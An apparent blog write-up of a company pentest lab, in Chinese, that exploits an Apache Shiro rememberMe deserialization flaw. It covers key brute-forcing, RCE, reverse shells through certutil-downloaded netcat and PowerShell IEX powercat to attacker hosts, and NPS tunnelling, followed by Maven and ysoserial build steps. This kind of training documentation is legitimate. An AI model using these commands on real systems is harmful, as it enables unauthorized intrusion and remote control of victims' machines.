摘要:一个Shiro反序列化执行漏洞。
头图:https://cdn.naraku.cn/imgs/Leak/Shiro/Shiro-0.jpg

背景:最近公司的师傅丢了个内网渗透的靶场让我们玩,需要通过对外映射的Web服务打进去。一开始看到是一个JeeCMS的站点,直接弱口令就进了后台。但是瞎搞一通都拿不到Shell。搜索了一番才知道原来方向错了,其实是一个Shiro反序列化的漏洞。

漏洞概述

  • Shiro使用CookieRememberMeManager这个类对Cookie中的remeberMe进行序列化 => 使用密钥进行AES加密 => Base64编码,最后返回客户端remebreme Cookie。在识别用户身份时需要对rememberMe进行Base64解码 => 使用密钥进行AES解密 =>Java反序列化
  • 漏洞成因:AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要找到AES加密的密钥,就可以构造一个恶意对象。并对其进行序列化,AES加密,Base64编码,然后将其作为Cookie的remember Me字段发送。Shiro将其进行解密并且反序列化,即可造成反序列化漏洞。
  • 漏洞特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段。
  • 漏洞分析:

  • 进入登录页面,输入弱口令admin/password,并勾选记住用户,然后登录并抓包。

实习记录(二) - Shiro反序列化漏洞 - 图1

爆破Key

  • Ceye或者DNSLog上获取一个域名,然后借用工具ShiroScan对Key进行爆破。对于无回显的rce,无论通没通,响应码均为200,所以需要通过Ceye等平台来确定Key和利用链模块
  • 这里可以看到爆破结果为4Av.CommonsBeanutils1.tbxcqv.ceye.io,其中的4Av对应右侧Key,即4AvVhmFLUs0KTA3Kprsdag==。利用链模块为CommonsBeanutils1

实习记录(二) - Shiro反序列化漏洞 - 图2

测试RCE

  • 这里还是借助工具Awesome_Shiro中的Shiro-rce来一把梭。注意需要修改一下Awesome_Shiro\shiro-rce\shiro_rce.py文件
    • 第13行中的CommonsBeanutils1改为爆破成功用的模块。前面爆破得到的也是CommonsBeanutils1,所以这里不用改
    • 第16行将kPH+bIxk5D2deZiIxcaaaA==修改为爆破得到的Key,这里改为4AvVhmFLUs0KTA3Kprsdag==
  • 修改完成后,执行命令,测试RCE。可以看到成功Ping到Ceye

    1. $ python shiro_rce.py http://10.2.11.253:8088/ "ping test.tbxcqv.ceye.io"

    实习记录(二) - Shiro反序列化漏洞 - 图3

    漏洞利用

    一开始没有注意靶机的操作系统,这里是Windows。直接用工具里的脚本和网上的POC将靶机当作Linux打了半天。。。

  • Windows这里可以通过Netcat或者Powercat来反弹Shell

  • 先将nc.exe或者powercat.ps1放在服务器上某个目录中,然后开启HTTP服务

    1. $ python -m http.server 80 # Python3
    2. $ python -m SimpleHTTPServer 80 # Python2
  • 并在服务器开启监听

    1. $ nc -lvvp 8765
  • 利用前面的RCE来下载nc.exe或者powercat.ps1

    1. # Netcat
    2. $ python shiro_rce.py http://10.2.11.253:8088/ "certutil.exe -urlcache -split -f http://<攻击机IP>/nc.exe 1.exe"
    3. $ python shiro_rce.py http://10.2.11.253:8088/ "1.exe <攻击机IP> <攻击机监听端口> -e cmd.exe"
    4. # Powercat
    5. $ python shiro_rce.py http://10.2.11.253:8088/ "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://<攻击机IP>/powercat.ps1');powercat -c <攻击机IP> -p <攻击机监听端口> -e cmd"

    实习记录(二) - Shiro反序列化漏洞 - 图4

    NPS

    NPS是一款轻量级、高性能、功能强大的内网穿透代理服务器,参考文档:NPS文档

  • 在一台服务器上搭建NPSServer端,配置文件nps/conf/nps.conf

    • 默认账号密码admin/123,可在配置文件中修改
    • 默认配置文件使用了80,443,8080,8024端口,若被占用会启动失败,可在配置文件中修改
  • Releases中找到靶机对应操作系统Client端,并上传到服务器
  • 在靶机中执行命令下载文件

    1. $ certutil.exe -urlcache -split -f http://<攻击机IP>:<端口>/npc.exe
  • 在NPS服务端的的Web界面新增一个客户端,然后在靶机启动无配置文件模式

    1. $ ./npc.exe -server=<攻击机IP>:<端口> -vkey=<Web界面中显示的密钥>
  • 最后建立HTTPSocks代理即可

    其它

    备注

  • 靶机为Linux的利用方法

  • 工具

    • ShiroExploit
    • ShiroScan
    • Awesome_shiro
    • Powercat

      部署Maven

      Maven 是一个项目管理工具,可以对 Java 项目进行构建、依赖管理。Maven基于项目对象模型(POM project object model),可以通过一小段描述信息来管理项目的构建,报告和文档的软件项目管理工具(百度百科)。

  • 创建Maven目录,下载解压并修改配置文件

    1. $ cd /usr/local/ && mkdir maven && cd maven/
    2. $ wget http://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
    3. $ tar -zxvf apache-maven-3.6.3-bin.tar.gz # 解压
    4. $ cd apache-maven-3.6.3/conf/
    5. $ vim settings.xml # 修改配置文件
  • 修改仓库位置,找到 <localRepository>/path/to/local/repo</localRepository>,修改为:

    1. <localRepository>/usr/local/repo</localRepository>
  • 然后在</mirrors>前添加阿里云仓库

    1. <mirror>
    2. <id>nexus-aliyun</id>
    3. <mirrorOf>*</mirrorOf>
    4. <name>Nexus aliyun</name>
    5. <url>http://maven.aliyun.com/nexus/content/groups/public</url>
    6. </mirror>
  • 添加环境变量

    1. $ vim /etc/profile
    2. # 文件末尾加入
    3. export MAVEN_HOME=/usr/local/maven/apache-maven-3.6.3
    4. export PATH=${PATH}:${MAVEN_HOME}/bin
  • 保存退出,使文件生效后检查

    1. $ source /etc/profile
    2. $ mvn -v echo $MAVEN_HOME
    3. $ which mvn      # 查看mvn工具的位置/usr/local/maven/bin/mvn
    4. $ mvn -version    # 查看maven版本
  • 参考:linux上安装maven

    生成ysoserial

    ysoseria是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。

  • 生成ysoserial-0.0.6-SNAPSHOT-all.jar文件

    1. $ git clone https://github.com/frohoff/ysoserial.git
    2. $ cd ysoserial
    3. $ mvn package -D skipTests

    实习记录(二) - Shiro反序列化漏洞 - 图5
    实习记录(二) - Shiro反序列化漏洞 - 图6